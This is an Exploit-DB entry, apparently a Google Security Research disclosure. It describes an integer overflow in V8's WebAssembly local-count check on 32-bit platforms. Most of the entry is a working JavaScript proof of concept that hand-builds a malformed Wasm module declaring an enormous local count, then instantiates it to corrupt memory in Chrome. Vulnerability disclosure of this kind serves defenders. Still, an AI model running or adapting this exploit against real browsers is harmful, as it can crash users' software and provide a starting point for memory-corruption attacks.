Exploit-DB #44860
Description: Google Chrome - Integer Overflow when Processing WebAssembly Locals
Type: dos
Platform: multiple
Date: 2018-06-08
Author: Google Security Research

Exploit:
/*
When v8 decodes the locals of a function, it performs a check:

if ((count + type_list->size()) > kV8MaxWasmFunctionLocals) {
        decoder->error(decoder->pc() - 1, "local count too large");
        return false;
      }

On a 32-bit platform, this check can be bypassed due to an integer overflow. This allows the number of function locals to be large, and can lead to memory corruption when the locals are allocated.

A PoC is attached. 
*/

var b2 = new Uint8Array( 171);
b2[0] = 0x0;
b2[1] = 0x61;
b2[2] = 0x73;
b2[3] = 0x6d;
b2[4] = 0x1;
b2[5] = 0x0;
b2[6] = 0x0;
b2[7] = 0x0;
b2[8] = 0x1;
b2[9] = 0xe;
b2[10] = 0x3;
b2[11] = 0x60;
b2[12] = 0x1;
b2[13] = 0x7f;
b2[14] = 0x0;
b2[15] = 0x60;
b2[16] = 0x0;
b2[17] = 0x0;
b2[18] = 0x60;
b2[19] = 0x2;
b2[20] = 0x7f;
b2[21] = 0x7f;
b2[22] = 0x1;
b2[23] = 0x7f;
b2[24] = 0x2;
b2[25] = 0x23;
b2[26] = 0x2;
b2[27] = 0x2;
b2[28] = 0x6a;
b2[29] = 0x73;
b2[30] = 0x3;
b2[31] = 0x6d;
b2[32] = 0x65;
b2[33] = 0x6d;
b2[34] = 0x2;
b2[35] = 0x0;
b2[36] = 0x1;
b2[37] = 0x7;
b2[38] = 0x69;
b2[39] = 0x6d;
b2[40] = 0x70;
b2[41] = 0x6f;
b2[42] = 0x72;
b2[43] = 0x74;
b2[44] = 0x73;
b2[45] = 0xd;
b2[46] = 0x69;
b2[47] = 0x6d;
b2[48] = 0x70;
b2[49] = 0x6f;
b2[50] = 0x72;
b2[51] = 0x74;
b2[52] = 0x65;
b2[53] = 0x64;
b2[54] = 0x5f;
b2[55] = 0x66;
b2[56] = 0x75;
b2[57] = 0x6e;
b2[58] = 0x63;
b2[59] = 0x0;
b2[60] = 0x0;
b2[61] = 0x3;
b2[62] = 0x3;
b2[63] = 0x2;
b2[64] = 0x1;
b2[65] = 0x2;
b2[66] = 0x7;
b2[67] = 0x1e;
b2[68] = 0x2;
b2[69] = 0xd;
b2[70] = 0x65;
b2[71] = 0x78;
b2[72] = 0x70;
b2[73] = 0x6f;
b2[74] = 0x72;
b2[75] = 0x74;
b2[76] = 0x65;
b2[77] = 0x64;
b2[78] = 0x5f;
b2[79] = 0x66;
b2[80] = 0x75;
b2[81] = 0x6e;
b2[82] = 0x63;
b2[83] = 0x0;
b2[84] = 0x1;
b2[85] = 0xa;
b2[86] = 0x61;
b2[87] = 0x63;
b2[88] = 0x63;
b2[89] = 0x75;
b2[90] = 0x6d;
b2[91] = 0x75;
b2[92] = 0x6c;
b2[93] = 0x61;
b2[94] = 0x74;
b2[95] = 0x65;
b2[96] = 0x0;
b2[97] = 0x2;
b2[98] = 0xa;
b2[99] = 0x47;
b2[100] = 0x2;
b2[101] = 0x6;
b2[102] = 0x0;
b2[103] = 0x41;
b2[104] = 0x2a;
b2[105] = 0x10;
b2[106] = 0x0;
b2[107] = 0xb;
b2[108] = 0x3e;
b2[109] = 0x1;
b2[110] = 0xff;
b2[111] = 0xff;
b2[112] = 0xff;
b2[113] = 0xff;
b2[114] = 0x0f;
b2[115] = 0x7f;
b2[116] = 0x20;
b2[117] = 0x0;
b2[118] = 0x20;
b2[119] = 0x1;
b2[120] = 0x41;
b2[121] = 0x4;
b2[122] = 0x6c;
b2[123] = 0x6a;
b2[124] = 0x21;
b2[125] = 0x2;
b2[126] = 0x2;
b2[127] = 0x40;
b2[128] = 0x3;
b2[129] = 0x40;
b2[130] = 0x20;
b2[131] = 0x0;
b2[132] = 0x20;
b2[133] = 0x2;
b2[134] = 0x46;
b2[135] = 0xd;
b2[136] = 0x1;
b2[137] = 0x41;
b2[138] = 0x2a;
b2[139] = 0x10;
b2[140] = 0x0;
b2[141] = 0x20;
b2[142] = 0x3;
b2[143] = 0x41;
b2[144] = 0xc4;
b2[145] = 0x0;
b2[146] = 0x20;
b2[147] = 0x0;
b2[148] = 0x36;
b2[149] = 0x2;
b2[150] = 0x0;
b2[151] = 0x41;
b2[152] = 0xc4;
b2[153] = 0x0;
b2[154] = 0x6a;
b2[155] = 0x21;
b2[156] = 0x3;
b2[157] = 0x20;
b2[158] = 0x0;
b2[159] = 0x41;
b2[160] = 0x4;
b2[161] = 0x6a;
b2[162] = 0x21;
b2[163] = 0x0;
b2[164] = 0xc;
b2[165] = 0x0;
b2[166] = 0xb;
b2[167] = 0xb;
b2[168] = 0x20;
b2[169] = 0x3;
b2[170] = 0xb;

function f(){print("in f");}
var memory = new WebAssembly.Memory({initial:1, maximum:1});
var mod = new WebAssembly.Module(b2);
var i = new WebAssembly.Instance(mod, { imports : {imported_func : f}, js : {mem : memory}});
i.exports.accumulate.call(0, 5);